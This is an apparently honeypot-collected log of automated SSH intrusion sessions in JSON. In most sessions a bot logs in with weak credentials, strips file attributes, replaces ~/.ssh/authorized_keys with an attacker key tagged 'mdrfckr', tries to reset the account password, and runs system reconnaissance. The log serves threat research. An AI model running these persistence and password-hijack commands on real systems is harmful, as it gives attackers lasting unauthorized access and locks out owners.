found"},{"seq":31,"at":"2026-08-27T08:24:30.158624+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:24:31.935633+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":")OKM9ijn","method":"password","accepted":true,"tier":"other"}]} {"id":"e607a66e-d86f-417a-8c25-495054fc31bd","name":"ruddy-electric-bittern","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":57332,"username":"naresh","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:22:24.947577+00:00","ended_at":"2026-08-27T08:22:27.121487+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T08:22:06.717249+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:22:07.039919+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:22:10.159916+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:22:10.995622+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:22:11.319769+00:00","kind":"input","latency_ms":null,"data":"echo -e \"naresh\\nZIiAc4DebrSG\\nZIiAc4DebrSG\"|passwd|bash"},{"seq":6,"at":"2026-08-27T08:22:11.642638+00:00","kind":"input","latency_ms":null,"data":"echo \"naresh\\nZIiAc4DebrSG\\nZIiAc4DebrSG\\n\"|passwd"},{"seq":7,"at":"2026-08-27T08:22:11.966602+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:22:12.521177+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:22:12.845035+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:22:14.163029+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:22:14.490065+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:22:15.421971+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:22:15.749122+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:22:16.492832+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:22:16.816475+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:22:17.416399+00:00","kind":"output","latency_ms":null,"data":" 08:22:17 up 7 days, 5:12, 0 user, load average: 0.3, 0.34, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:22:17.741829+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:22:18.113174+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:22:18.437231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T08:22:19.109092+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:22:19.432578+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:22:20.227247+00:00","kind":"output","latency_ms":null,"data":"top - 08:22:20 up 7 days, 5:12, 0 user, load average: 0.3, 0.34, 0.19\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:22:20.551271+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:22:21.376624+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:22:21.701381+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:22:22.257165+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:22:22.581305+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:22:22.851816+00:00","kind":"output","latency_ms":null,"data":"naresh"},{"seq":29,"at":"2026-08-27T08:22:23.180641+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:22:24.625180+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:22:24.948526+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:22:27.029799+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"naresh","password":"naresh","method":"password","accepted":true,"tier":"other"}]} {"id":"51573ac0-8de7-44fc-a08e-9e5955ee4be6","name":"keen-wistful-woodcock","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":37792,"username":"chrome","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":324,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:20:24.925073+00:00","ended_at":"2026-08-27T08:20:26.162797+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T08:20:06.510848+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:20:06.831894+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:20:10.472756+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:20:10.892964+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:20:11.216658+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n7xnBkMkD7nDA\\n7xnBkMkD7nDA\"|passwd|bash"},{"seq":6,"at":"2026-08-27T08:20:11.538882+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n7xnBkMkD7nDA\\n7xnBkMkD7nDA\\n\"|passwd"},{"seq":7,"at":"2026-08-27T08:20:11.863104+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:20:12.306880+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:20:12.632429+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:20:13.980072+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:20:14.306831+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:20:15.549347+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:20:15.876700+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:20:16.509554+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:20:16.833867+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:20:17.269266+00:00","kind":"output","latency_ms":null,"data":" 08:20:17 up 7 days, 5:10, 0 user, load average: 0.04, 0.05, 0.03\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:20:17.593743+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:20:18.134446+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:20:18.468788+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T08:20:19.262777+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:20:19.589241+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:20:20.036274+00:00","kind":"output","latency_ms":null,"data":"top - 08:20:20 up 7 days, 5:10, 0 user, load average: 0.04, 0.05, 0.03\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:20:20.359824+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:20:20.775802+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:20:21.099680+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:20:21.667774+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:20:21.993496+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:20:22.881538+00:00","kind":"output","latency_ms":null,"data":"chrome"},{"seq":29,"at":"2026-08-27T08:20:23.205656+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:20:24.612533+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:20:24.925883+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:20:26.068069+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"chrome","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"0627a051-cb7d-4548-9f26-e4a1dcd22a72","name":"salty-grassy-wren","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":46482,"username":"admin","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:18:24.060597+00:00","ended_at":"2026-08-27T08:18:26.041370+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T08:18:04.811127+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:18:05.135283+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:18:09.451178+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:18:10.163869+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:18:10.491066+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Admin\\nYOfZegqQLcvU\\nYOfZegqQLcvU\"|passwd|bash"},{"seq":6,"at":"2026-08-27T08:18:10.811729+00:00","kind":"input","latency_ms":null,"data":"echo \"Admin\\nYOfZegqQLcvU\\nYOfZegqQLcvU\\n\"|passwd"},{"seq":7,"at":"2026-08-27T08:18:11.134835+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:18:11.837857+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:18:12.161512+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:18:13.464229+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:18:13.789104+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:18:14.829066+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:18:15.155339+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:18:15.433799+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:18:15.758872+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:18:16.095084+00:00","kind":"output","latency_ms":null,"data":" 08:18:16 up 7 days, 5:08, 0 user, load average: 0.21, 0.25, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:18:16.418817+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:18:17.064767+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:18:17.389080+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T08:18:18.291381+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:18:18.612712+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:18:19.413663+00:00","kind":"output","latency_ms":null,"data":"top - 08:18:19 up 7 days, 5:08, 0 user, load average: 0.21, 0.25, 0.13\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:18:19.738279+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:18:20.137108+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:18:20.452137+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:18:21.318949+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:18:21.644699+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:18:22.227267+00:00","kind":"output","latency_ms":null,"data":"admin"},{"seq":29,"at":"2026-08-27T08:18:22.557114+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:18:23.736869+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:18:24.061418+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:18:25.944789+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin","password":"Admin","method":"password","accepted":true,"tier":"other"}]} {"id":"034246a5-d8d9-4c4e-ac5d-4a6e0e936558","name":"lonesome-salty-magpie","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":55170,"username":"jona","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":343,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:16:18.543965+00:00","ended_at":"2026-08-27T08:16:19.629855+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2251,"events":[{"seq":1,"at":"2026-08-27T08:15:59.376385+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:15:59.718312+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:16:04.010754+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:16:04.700418+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:16:05.042956+00:00","kind":"input","latency_ms":null,"data":"echo -e \"jona123\\nwm409st3Zpfc\\nwm409st3Zpfc\"|passwd|bash"},{"seq":6,"at":"2026-08-27T08:16:05.384259+00:00","kind":"input","latency_ms":null,"data":"echo \"jona123\\nwm409st3Zpfc\\nwm409st3Zpfc\\n\"|passwd"},{"seq":7,"at":"2026-08-27T08:16:05.728591+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T08:16:06.035164+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T08:16:06.378469+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T08:16:07.659481+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T08:16:08.014809+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T08:16:09.399143+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T08:16:09.750790+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T08:16:10.174870+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T08:16:10.516436+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T08:16:10.917411+00:00","kind":"output","latency_ms":null,"data":" 08:16:10 up 7 days, 5:06, 0 user, load average: 0.26, 0.3, 0.23\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T08:16:11.261649+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T08:16:11.596921+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T08:16:11.941873+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T08:16:12.626830+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T08:16:12.970710+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T08:16:13.735082+00:00","kind":"output","latency_ms":null,"data":"top - 08:16:13 up 7 days, 5:06, 0 user, load average: 0.26, 0.3, 0.23\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T08:16:14.078418+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T08:16:14.466698+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T08:16:14.810269+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T08:16:15.564805+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T08:16:15.906608+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T08:16:16.447039+00:00","kind":"output","latency_ms":null,"data":"jona"},{"seq":29,"at":"2026-08-27T08:16:16.788778+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T08:16:18.201798+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T08:16:18.544996+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T08:16:19.528108+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"jona","password":"jona123","method":"password","accepted":true,"tier":"other"}]} {"id":"0df1176f-e02b-4a65-b742-07c8d6d8c95d","name":"curious-mellow-raven","protocol":"ssh","channel_kind":"exec","src_ip":"46.253.45.10","src_port":35630,"username":"drew","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T08:14:15.648000+00:00","ended_at":"2026-08-27T08:14:16.660351+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2245,"events":[{"seq":1,"at":"2026-08-27T08:13:58.559604+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T08:13:58.882377+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T08:14:03.059581+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T08:14:03.917802+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T08:14:04.241709+00:00","kind":"input","latency_ms":null,"data":"echo -e 